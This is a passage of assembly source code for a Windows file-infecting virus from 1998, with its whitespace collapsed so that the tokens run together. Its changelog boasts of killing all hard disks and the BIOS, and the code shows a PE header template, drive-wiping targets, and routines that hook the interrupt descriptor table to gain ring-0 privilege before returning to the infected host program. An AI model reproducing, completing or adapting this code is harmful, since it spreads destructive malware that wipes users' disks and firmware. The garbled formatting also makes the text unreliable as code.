uetoRun,*;*itwillJmuptoOriginalApplicationtoRun.*;*3.UseBetterAlgorithm,ReduceVirusCodeSize.*;*4.TheVirus"Basic"Sizeisonly796Bytes.*;*==========================================================================*;*v1.21.KillAllHardDisk,andBIOS...Super...Killer...*;*2.ModifytheBugofv1.1*;*05/21/19983.TheVirus"Basic"Sizeis1003Bytes.*;*==========================================================================*;*v1.31.ModifytheBugthatWinZipSelf-ExtractorOccursError.*;*SoWhenOpenWinZipSelf-Extractor==>Don'tInfectit.*;*05/24/19982.TheVirus"Basic"Sizeis1010Bytes.*;*==========================================================================*;*v1.41.FullModifytheBug:WinZipSelf-ExtractorOccursError.*;*2.ChangetheDateofKillingComputers.*;*05/31/19983.ModifyVirusVersionCopyright.*;*4.TheVirus"Basic"Sizeis1019Bytes.*;****************************************************************************.586P;586;****************************************************************************;*OriginalPEExecutableFile(Don'tModifythisSection)*;****************************************************************************OriginalAppEXESEGMENTFileHeader:db04dh,05ah,090h,000h,003h,000h,000h,000hdb004h,000h,000h,000h,0ffh,0ffh,000h,000hdb0b8h,000h,000h,000h,000h,000h,000h,000hdb040h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,080h,000h,000h,000hdb00eh,01fh,0bah,00eh,000h,0b4h,009h,0cdhdb021h,0b8h,001h,04ch,0cdh,021h,054h,068hdb069h,073h,020h,070h,072h,06fh,067h,072hdb061h,06dh,020h,063h,061h,06eh,06eh,06fhdb074h,020h,062h,065h,020h,072h,075h,06ehdb020h,069h,06eh,020h,044h,04fh,053h,020hdb06dh,06fh,064h,065h,02eh,00dh,00dh,00ahdb024h,000h,000h,000h,000h,000h,000h,000hdb050h,045h,000h,000h,04ch,001h,001h,000hdb0f1h,068h,020h,035h,000h,000h,000h,000hdb000h,000h,000h,000h,0e0h,000h,00fh,001hdb00bh,001h,005h,000h,000h,010h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb010h,010h,000h,000h,000h,010h,000h,000hdb000h,020h,000h,000h,000h,000h,040h,000hdb000h,010h,000h,000h,000h,002h,000h,000hdb004h,000h,000h,000h,000h,000h,000h,000hdb004h,000h,000h,000h,000h,000h,000h,000hdb000h,020h,000h,000h,000h,002h,000h,000hdb000h,000h,000h,000h,002h,000h,000h,000hdb000h,000h,010h,000h,000h,010h,000h,000hdb000h,000h,010h,000h,000h,010h,000h,000hdb000h,000h,000h,000h,010h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb02eh,074h,065h,078h,074h,000h,000h,000hdb000h,010h,000h,000h,000h,010h,000h,000hdb000h,010h,000h,000h,000h,002h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,020h,000h,000h,060hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb000h,000h,000h,000h,000h,000h,000h,000hdb0c3h,000h,000h,000h,000h,000h,000h,000hdd00000000h,VirusSizeOriginalAppEXEENDS;****************************************************************************;*MyVirusGame*;****************************************************************************;*********************************************************;*ConstantDefine*;*********************************************************TRUE=1FALSE=0DEBUG=FALSEMajorVirusVersion=1MinorVirusVersion=4VirusVersion=MajorVirusVersion*10h+MinorVirusVersionIFDEBUG;FirstKillHardDiskNumber=81h;KILL“d：”HookExceptionNumber=05h;pr#5ELSEFirstKillHardDiskNumber=80h;KILL“c：”HookExceptionNumber=03hr#3ENDIFFileNameBufferSize=7fh;*********************************************************;*********************************************************VirusGameSEGMENTASSUMECS:VirusGame,DS:VirusGame,SS:VirusGameASSUMEES:VirusGame,FS:VirusGame,GS:VirusGame;*********************************************************;*Ring3VirusGameInitialProgram*;*********************************************************MyVirusStart:pushebp;*************************************;*Let'sModifyStructuredException*;*Handing,PreventExceptionError*;*Occurrence,EspeciallyinNT.*;*************************************leaeax,[esp-04h*2]xorebx,ebxxchgeax,fs:[ebx]call@0@0:popebxleaecx,StopToRunVirusCode-@0[ebx]pushecxpusheax;*************************************;*Let'sModify*;*IDT(InterruptDescriptorTable)*;*toGetRing0Privilege...*;*************************************pusheaxsidt[esp-02h];GetIDTBaseAddress?;popebxaddebx,HookExceptionNumber*08h+04h;ZF=0climovebp,[ebx];GetExceptionBasemovbp,[ebx-04h];EntryPoint?;leaesi,MyExceptionHook-@1[ecx]pushesi?;esimov[ebx-04h],sishresi,16;ModifyExceptionmov[ebx+02h],si;EntryPointAddresspopesi;*************************************;*GenerateExceptiontoGetRing0*;*************************************intHookExceptionNumber;GenerateException;ReturnAddressOfEndException=$;*************************************;*MergeAllVirusCodeSection*;*************************************pushesimovesi,eax;esiLoopOfMergeAllVirusCodeSection:movecx,[eax-04h]repmovsbsubeax,08hmovesi,[eax]oresi,esijzQuitLoopOfMergeAllVirusCodeSectionjmpLoopOfMergeAllVirusCodeSectionQuitLoopOfMergeAllVirusCodeSection:popesi;*************************************;*GenerateExceptionAgain*;*************************************intHookExceptionNumber;GenerateExceptionAga;*************************************;*Let'sRestore*;*StructuredExceptionHanding*;*************************************ReadyRestoreSE:sti;開(kāi)中斷xorebx,ebxjmpRestoreSE;*************************************;*WhenExceptionErrorOccurs,*;*OurOSSystemshouldbeinNT.*;*SoMyCuteViruswillnot*;*ContinuetoRun,itJmupsto*;*OriginalApplicationtoRun.*;*************************************StopToRunVirusCode:@1=StopToRunVirusCodexorebx,ebxmoveax,fs:[ebx]movesp,[eax]RestoreSE:popdwordptrfs:[ebx]popeax;*************************************;*ReturnOriginalApptoExecute*;*************************************popebppush00401000h;PushOriginalOriginalAddressOfEntryPoint=$-4;AppEntryPointtoStackret;ReturntoOriginalAppEntryPoint;*********************************************************;*Ring0VirusGameInitialProgram*;*********************************************************MyExceptionHook:@2=MyExceptionHookjzInstallMyFileSystemApiHook;*************************************;*DoMyVirusExistinSystem!?*;*************************************movecx,dr0jecxzAllocateSystemMemoryPag